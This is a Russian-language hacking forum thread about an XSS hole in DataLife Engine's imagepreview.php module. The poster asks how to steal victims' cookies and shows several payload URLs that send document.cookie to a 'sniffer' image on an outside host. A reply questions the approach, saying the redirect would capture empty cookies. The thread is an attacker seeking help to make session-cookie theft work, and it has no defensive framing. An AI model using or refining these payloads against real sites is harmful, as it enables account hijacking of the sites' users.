XSS в DataLife Engine. Обсуждение.

Есть уязвимость

HTML:

_http://target.ru/engine/modules/imagepreview.php?image=javascript:alert(document.cookie);

Нужно прилепить сниффер, чтобы куки на сниффер шли.

Пробывал так

HTML:

_http://target.ru/engine/modules/imagepreview.php?image=javascript:alert(document.location="http://site.ru/s.gif?"+document.cookie);

И так

HTML:

_http://target.ru/engine/modules/imagepreview.php?image=javascript:alert(document.location("http://site.ru/s.gif?"+document.cookie));

Подскажите что я делаю не так, и как нужно. Или это вообще невозможно?

ЗЫ: Если подобная тема уже есть, прошу эту удалить, и дать ссылку на более ранею.

Зарание спасибо за помощь.

С ув. DrBodja.

 

И зачем ты делаешь document.location?
Ты хочешь словить пустые куки?